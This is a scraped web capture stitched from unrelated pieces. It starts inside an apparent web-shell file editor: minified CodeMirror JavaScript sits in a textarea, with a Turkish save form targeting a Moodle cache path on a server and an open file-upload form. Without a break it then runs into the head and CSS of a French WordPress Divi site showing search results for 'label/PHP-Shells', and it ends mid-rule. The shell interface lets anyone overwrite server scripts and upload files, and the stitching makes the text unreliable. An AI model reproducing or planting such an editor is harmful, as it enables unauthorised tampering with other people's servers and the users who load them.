uot;oriya&quot;,&quot;oromo&quot;,&quot;outset&quot;,&quot;outside&quot;,&quot;outside-shape&quot;,&quot;overlay&quot;,&quot;overline&quot;,&quot;padding&quot;,&quot;padding-box&quot;,&quot;painted&quot;,&quot;page&quot;,&quot;paused&quot;,&quot;persian&quot;,&quot;perspective&quot;,&quot;pinch-zoom&quot;,&quot;plus-darker&quot;,&quot;plus-lighter&quot;,&quot;pointer&quot;,&quot;polygon&quot;,&quot;portrait&quot;,&quot;pre&quot;,&quot;pre-line&quot;,&quot;pre-wrap&quot;,&quot;preserve-3d&quot;,&quot;progress&quot;,&quot;push-button&quot;,&quot;radial-gradient&quot;,&quot;radio&quot;,&quot;read-only&quot;,&quot;read-write&quot;,&quot;read-write-plaintext-only&quot;,&quot;rectangle&quot;,&quot;region&quot;,&quot;relative&quot;,&quot;repeat&quot;,&quot;repeating-linear-gradient&quot;,&quot;repeating-radial-gradient&quot;,&quot;repeat-x&quot;,&quot;repeat-y&quot;,&quot;reset&quot;,&quot;reverse&quot;,&quot;rgb&quot;,&quot;rgba&quot;,&quot;ridge&quot;,&quot;right&quot;,&quot;rotate&quot;,&quot;rotate3d&quot;,&quot;rotateX&quot;,&quot;rotateY&quot;,&quot;rotateZ&quot;,&quot;round&quot;,&quot;row&quot;,&quot;row-resize&quot;,&quot;row-reverse&quot;,&quot;rtl&quot;,&quot;run-in&quot;,&quot;running&quot;,&quot;s-resize&quot;,&quot;sans-serif&quot;,&quot;saturation&quot;,&quot;scale&quot;,&quot;scale3d&quot;,&quot;scaleX&quot;,&quot;scaleY&quot;,&quot;scaleZ&quot;,&quot;screen&quot;,&quot;scroll&quot;,&quot;scrollbar&quot;,&quot;scroll-position&quot;,&quot;se-resize&quot;,&quot;searchfield&quot;,&quot;searchfield-cancel-button&quot;,&quot;searchfield-decoration&quot;,&quot;searchfield-results-button&quot;,&quot;searchfield-results-decoration&quot;,&quot;self-start&quot;,&quot;self-end&quot;,&quot;semi-condensed&quot;,&quot;semi-expanded&quot;,&quot;separate&quot;,&quot;serif&quot;,&quot;show&quot;,&quot;sidama&quot;,&quot;simp-chinese-formal&quot;,&quot;simp-chinese-informal&quot;,&quot;single&quot;,&quot;skew&quot;,&quot;skewX&quot;,&quot;skewY&quot;,&quot;skip-white-space&quot;,&quot;slide&quot;,&quot;slider-horizontal&quot;,&quot;slider-vertical&quot;,&quot;sliderthumb-horizontal&quot;,&quot;sliderthumb-vertical&quot;,&quot;slow&quot;,&quot;small&quot;,&quot;small-caps&quot;,&quot;small-caption&quot;,&quot;smaller&quot;,&quot;soft-light&quot;,&quot;solid&quot;,&quot;somali&quot;,&quot;source-atop&quot;,&quot;source-in&quot;,&quot;source-out&quot;,&quot;source-over&quot;,&quot;space&quot;,&quot;space-around&quot;,&quot;space-between&quot;,&quot;space-evenly&quot;,&quot;spell-out&quot;,&quot;square&quot;,&quot;square-button&quot;,&quot;start&quot;,&quot;static&quot;,&quot;status-bar&quot;,&quot;stretch&quot;,&quot;stroke&quot;,&quot;stroke-box&quot;,&quot;sub&quot;,&quot;subpixel-antialiased&quot;,&quot;svg_masks&quot;,&quot;super&quot;,&quot;sw-resize&quot;,&quot;symbolic&quot;,&quot;symbols&quot;,&quot;system-ui&quot;,&quot;table&quot;,&quot;table-caption&quot;,&quot;table-cell&quot;,&quot;table-column&quot;,&quot;table-column-group&quot;,&quot;table-footer-group&quot;,&quot;table-header-group&quot;,&quot;table-row&quot;,&quot;table-row-group&quot;,&quot;tamil&quot;,&quot;telugu&quot;,&quot;text&quot;,&quot;text-bottom&quot;,&quot;text-top&quot;,&quot;textarea&quot;,&quot;textfield&quot;,&quot;thai&quot;,&quot;thick&quot;,&quot;thin&quot;,&quot;threeddarkshadow&quot;,&quot;threedface&quot;,&quot;threedhighlight&quot;,&quot;threedlightshadow&quot;,&quot;threedshadow&quot;,&quot;tibetan&quot;,&quot;tigre&quot;,&quot;tigrinya-er&quot;,&quot;tigrinya-er-abegede&quot;,&quot;tigrinya-et&quot;,&quot;tigrinya-et-abegede&quot;,&quot;to&quot;,&quot;top&quot;,&quot;trad-chinese-formal&quot;,&quot;trad-chinese-informal&quot;,&quot;transform&quot;,&quot;translate&quot;,&quot;translate3d&quot;,&quot;translateX&quot;,&quot;translateY&quot;,&quot;translateZ&quot;,&quot;transparent&quot;,&quot;ultra-condensed&quot;,&quot;ultra-expanded&quot;,&quot;underline&quot;,&quot;unidirectional-pan&quot;,&quot;unset&quot;,&quot;up&quot;,&quot;upper-alpha&quot;,&quot;upper-armenian&quot;,&quot;upper-greek&quot;,&quot;upper-hexadecimal&quot;,&quot;upper-latin&quot;,&quot;upper-norwegian&quot;,&quot;upper-roman&quot;,&quot;uppercase&quot;,&quot;urdu&quot;,&quot;url&quot;,&quot;var&quot;,&quot;vertical&quot;,&quot;vertical-text&quot;,&quot;view-box&quot;,&quot;visible&quot;,&quot;visibleFill&quot;,&quot;visiblePainted&quot;,&quot;visibleStroke&quot;,&quot;visual&quot;,&quot;w-resize&quot;,&quot;wait&quot;,&quot;wave&quot;,&quot;wider&quot;,&quot;window&quot;,&quot;windowframe&quot;,&quot;windowtext&quot;,&quot;words&quot;,&quot;wrap&quot;,&quot;wrap-reverse&quot;,&quot;x-large&quot;,&quot;x-small&quot;,&quot;xor&quot;,&quot;xx-large&quot;,&quot;xx-small&quot;],valueKeywords=keySet(valueKeywords_);var allWords=documentTypes_.concat(mediaTypes_).concat(mediaFeatures_).concat(mediaValueKeywords_).concat(propertyKeywords_).concat(nonStandardPropertyKeywords_).concat(colorKeywords_).concat(valueKeywords_);CodeMirror.registerHelper(&quot;hintWords&quot;,&quot;css&quot;,allWords);function tokenCComment(stream,state){var maybeEnd=!1,ch;while((ch=stream.next())!=null){if(maybeEnd&amp;&amp;ch==&quot;/&quot;){state.tokenize=null;break}
maybeEnd=(ch==&quot;*&quot;)}
return[&quot;comment&quot;,&quot;comment&quot;]}
CodeMirror.defineMIME(&quot;text/css&quot;,{documentTypes:documentTypes,mediaTypes:mediaTypes,mediaFeatures:mediaFeatures,mediaValueKeywords:mediaValueKeywords,propertyKeywords:propertyKeywords,nonStandardPropertyKeywords:nonStandardPropertyKeywords,fontProperties:fontProperties,counterDescriptors:counterDescriptors,colorKeywords:colorKeywords,valueKeywords:valueKeywords,tokenHooks:{&quot;/&quot;:function(stream,state){if(!stream.eat(&quot;*&quot;))return!1;state.tokenize=tokenCComment;return tokenCComment(stream,state)}},name:&quot;css&quot;});CodeMirror.defineMIME(&quot;text/x-scss&quot;,{mediaTypes:mediaTypes,mediaFeatures:mediaFeatures,mediaValueKeywords:mediaValueKeywords,propertyKeywords:propertyKeywords,nonStandardPropertyKeywords:nonStandardPropertyKeywords,colorKeywords:colorKeywords,valueKeywords:valueKeywords,fontProperties:fontProperties,allowNested:!0,lineComment:&quot;//&quot;,tokenHooks:{&quot;/&quot;:function(stream,state){if(stream.eat(&quot;/&quot;)){stream.skipToEnd();return[&quot;comment&quot;,&quot;comment&quot;]}else if(stream.eat(&quot;*&quot;)){state.tokenize=tokenCComment;return tokenCComment(stream,state)}else{return[&quot;operator&quot;,&quot;operator&quot;]}},&quot;:&quot;:function(stream){if(stream.match(/\s*\{/,!1))
return[null,null]
return!1},&quot;$&quot;:function(stream){stream.match(/^[\w-]+/);if(stream.match(/^\s*:/,!1))
return[&quot;variable-2&quot;,&quot;variable-definition&quot;];return[&quot;variable-2&quot;,&quot;variable&quot;]},&quot;#&quot;:function(stream){if(!stream.eat(&quot;{&quot;))return!1;return[null,&quot;interpolation&quot;]}},name:&quot;css&quot;,helperType:&quot;scss&quot;});CodeMirror.defineMIME(&quot;text/x-less&quot;,{mediaTypes:mediaTypes,mediaFeatures:mediaFeatures,mediaValueKeywords:mediaValueKeywords,propertyKeywords:propertyKeywords,nonStandardPropertyKeywords:nonStandardPropertyKeywords,colorKeywords:colorKeywords,valueKeywords:valueKeywords,fontProperties:fontProperties,allowNested:!0,lineComment:&quot;//&quot;,tokenHooks:{&quot;/&quot;:function(stream,state){if(stream.eat(&quot;/&quot;)){stream.skipToEnd();return[&quot;comment&quot;,&quot;comment&quot;]}else if(stream.eat(&quot;*&quot;)){state.tokenize=tokenCComment;return tokenCComment(stream,state)}else{return[&quot;operator&quot;,&quot;operator&quot;]}},&quot;@&quot;:function(stream){if(stream.eat(&quot;{&quot;))return[null,&quot;interpolation&quot;];if(stream.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,!1))return!1;stream.eatWhile(/[\w\\\-]/);if(stream.match(/^\s*:/,!1))
return[&quot;variable-2&quot;,&quot;variable-definition&quot;];return[&quot;variable-2&quot;,&quot;variable&quot;]},&quot;&amp;&quot;:function(){return[&quot;atom&quot;,&quot;atom&quot;]}},name:&quot;css&quot;,helperType:&quot;less&quot;});CodeMirror.defineMIME(&quot;text/x-gss&quot;,{documentTypes:documentTypes,mediaTypes:mediaTypes,mediaFeatures:mediaFeatures,propertyKeywords:propertyKeywords,nonStandardPropertyKeywords:nonStandardPropertyKeywords,fontProperties:fontProperties,counterDescriptors:counterDescriptors,colorKeywords:colorKeywords,valueKeywords:valueKeywords,supportsAtComponent:!0,tokenHooks:{&quot;/&quot;:function(stream,state){if(!stream.eat(&quot;*&quot;))return!1;state.tokenize=tokenCComment;return tokenCComment(stream,state)}},name:&quot;css&quot;,helperType:&quot;gss&quot;})});(function(mod){if(typeof exports==&quot;object&quot;&amp;&amp;typeof module==&quot;object&quot;)
mod(require(&quot;../../lib/codemirror&quot;))
else if(typeof define==&quot;function&quot;&amp;&amp;define.amd)
define([&quot;../../lib/codemirror&quot;],mod)
else mod(CodeMirror)})(function(CodeMirror){&quot;use strict&quot;
CodeMirror.defineOption(&quot;autoRefresh&quot;,!1,function(cm,val){if(cm.state.autoRefresh){stopListening(cm,cm.state.autoRefresh)
cm.state.autoRefresh=null}
if(val&amp;&amp;cm.display.wrapper.offsetHeight==0)
startListening(cm,cm.state.autoRefresh={delay:val.delay||250})})
function startListening(cm,state){function check(){if(cm.display.wrapper.offsetHeight){stopListening(cm,state)
if(cm.display.lastWrapHeight!=cm.display.wrapper.clientHeight)
cm.refresh()}else{state.timeout=setTimeout(check,state.delay)}}
state.timeout=setTimeout(check,state.delay)
state.hurry=function(){clearTimeout(state.timeout)
state.timeout=setTimeout(check,50)}
CodeMirror.on(window,&quot;mouseup&quot;,state.hurry)
CodeMirror.on(window,&quot;keyup&quot;,state.hurry)}
function stopListening(_cm,state){clearTimeout(state.timeout)
CodeMirror.off(window,&quot;mouseup&quot;,state.hurry)
CodeMirror.off(window,&quot;keyup&quot;,state.hurry)}});$(document).on(&#039;ready&#039;,function(){if($(&#039;#id_s_theme_edumy_custom_css&#039;).length){CodeMirror.fromTextArea(document.getElementById(&quot;id_s_theme_edumy_custom_css&quot;),{lineNumbers:!0,mode:&quot;css&quot;,theme:&quot;material-palenight&quot;,autoRefresh:!0,})}
if($(&#039;#id_s_theme_edumy_custom_css_dashboard&#039;).length){CodeMirror.fromTextArea(document.getElementById(&quot;id_s_theme_edumy_custom_css_dashboard&quot;),{lineNumbers:!0,mode:&quot;css&quot;,theme:&quot;material-palenight&quot;,autoRefresh:!0,})}
if($(&#039;#id_s_theme_edumy_custom_js&#039;).length){CodeMirror.fromTextArea(document.getElementById(&quot;id_s_theme_edumy_custom_js&quot;),{lineNumbers:!0,mode:&quot;javascript&quot;,theme:&quot;material-palenight&quot;,autoRefresh:!0,})}
if($(&#039;#id_s_theme_edumy_custom_js_dashboard&#039;).length){CodeMirror.fromTextArea(document.getElementById(&quot;id_s_theme_edumy_custom_js_dashboard&quot;),{lineNumbers:!0,mode:&quot;javascript&quot;,theme:&quot;material-palenight&quot;,autoRefresh:!0,})}})</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/moodledataevs/localcache/js/b5d716d747a14abe7584ccd417d48ccf30c0634e">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d14169b394*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px 